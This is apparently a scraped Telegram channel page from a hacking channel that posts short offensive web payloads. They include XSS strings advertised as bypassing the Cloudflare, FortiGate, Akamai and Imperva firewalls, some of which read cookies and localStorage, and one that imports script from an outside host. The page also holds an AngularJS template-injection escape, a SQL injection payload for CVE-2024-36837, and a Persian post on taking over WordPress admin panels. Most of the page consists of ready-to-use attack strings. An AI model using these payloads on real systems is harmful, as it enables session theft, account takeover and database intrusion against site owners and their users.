Eʀᴏ ··ʜᴀᴄᴋ··
@EroHack0
4.84K subscribers
65 photos
27 videos
10 files
104 links
🗡 A blackish gray hat hacker 🗡

🎯 Bug Bounty | Ethical Hacking | Web Exploits
📚 Tips, Writeups, Tools & Real Reports

Admin: @GoRunEro
加入频道
About
Blog
Apps
Platform
Join
Eʀᴏ ··ʜᴀᴄᴋ··
4.84K subscribers
Eʀᴏ ··ʜᴀᴄᴋ··
This payload can be used for Client Side Template injection and Reflected XSS, perhaps a code injection can be triggered in the background

Payload :

'%3e%3cscript%3ealert(5*5)%3c%2fscript%3eejj4sbx5w4o

#Payload #xss
——————‌
@EroHack0
👉 Boost
👍18❤3🔥2🗿1
1.12K views
Eʀᴏ ··ʜᴀᴄᴋ··
💀CloudFlare Payload🔪

<svg%0Aonauxclick=0;[1].some(confirm)//
<svg onload=alert%26%230000000040"")>
<svg onx=() onload=(confirm)(1)>
<svg onx=() onload=(confirm)(document.cookie)>
<svg onx=() onload=(confirm)(JSON.stringify(localStorage))>


#Payload #Cloudflare #Pentest
🔹 🔺 🔹 🔺 🔹 🔺 🔺 🔹 🔺
🌐EroHack
👍Boost
🖥Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡4🔥2💯2😐1
3.01K viewsedited  
Eʀᴏ ··ʜᴀᴄᴋ··
🟫 WAF Fortinet FortiGate XSS Bypass

🖥Payload
<details open ontoggle="(()=>alertibrahimxss)()"></details>

#XSS #WAF #Payload
🔹🔺🔹🔺🔹🔺🔹🔺🔹
⭐Erohack
💧Boost
🐦Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
⚡5👍3🔥1
3.72K views
Eʀᴏ ··ʜᴀᴄᴋ··
🙂One XSS Payload for bypass ( Akamai, imperva, cloudflare & Waf ) 🚪

HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>


#Xss #Payload #Waf
⚙⚙⚙⚙⚙⚙⚙⚙⚙
🌐EroHack
👍Boost
🖥Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6⚡2🤯1
3.1K views
Eʀᴏ ··ʜᴀᴄᴋ··
⚠️XSS Bypass Akamai, Imperva and CloudFlare

☠️Payload
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>


#XSS #Payload
🔹🔺🔹🔺🔹🔺🔹🔺🔹
⭐Erohack
💧Boost
🐦Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
💯5🔥2🫡1🗿1
3.14K viewsedited  
Eʀᴏ ··ʜᴀᴄᴋ··
🪱CVE-2024-36837 - SQLI Injection

🔪Payload:
0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334


#CVE #SQLI #Payload
✍️✍️✍️✍️✍️✍️✍️✍️✍️✍️
✈️EroHack
⭐Boost
🖥Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5💯1🎃1
3.58K viewsedited  
Eʀᴏ ··ʜᴀᴄᴋ··
Media is too big
VIEW IN TELEGRAM
⚡️آموزش نفوذ به پنل وردپرس با پلاگین

توضیحات:
با استفاده از یک پلاگین ساده تونستیم آدرس صفحه لاگین ادمین رو پیدا کنیم و یک کاربر با سطح دسترسی ادمین ایجاد کنید.


#WordPress #hack #Payload
✍️✍️✍️✍️✍️✍️✍️✍️✍️✍️
✈️EroHack
⭐Boost
🖥Twitter
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥5👍1🎃1🫡1👾1
3.57K viewsedited  
Eʀᴏ ··ʜᴀᴄᴋ··
⚠️AngularJS Client-Side Template Injection as XSS payload for 1.2.24-1.2.29

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}


#Xss #Payload
➖➖➖➖➖➖➖➖➖➖
☢EroHack
🗯Boost
📣Twitter
🔥5⚡1👍1💯1🤨1
4.72K views
Eʀᴏ ··ʜᴀᴄᴋ··
📌 چه Xss payload هایی در ساله ۲۰۲۵ جواب میدن؟
مقاله‌ای جدید و رایگان درباره تکنیک‌های به‌روز XSS، دور زدن فیلترها، DOM XSS و نکات کاربردی برای تست نفوذ و باگ‌بانتی.

A fresh and insightful article exploring the current state of XSS in 2025. It dives into modern payloads that still work, techniques to bypass filters and CSP, and real-world examples of DOM-based XSS. A valuable read for penetration testers, red teamers, and bug bounty hunters.


📖 لینک مقاله:
https://santhosh-adiga-u.medium.com/xss-in-2025-the-payloads-that-still-work-3aa343e0b4f2

#Erohack #xss #payload
Medium
XSS in 2025 — The Payloads That Still Work
Because alert(1) is dead, but XSS isn’t.
⚡4🎃3👍1💯1
2.88K views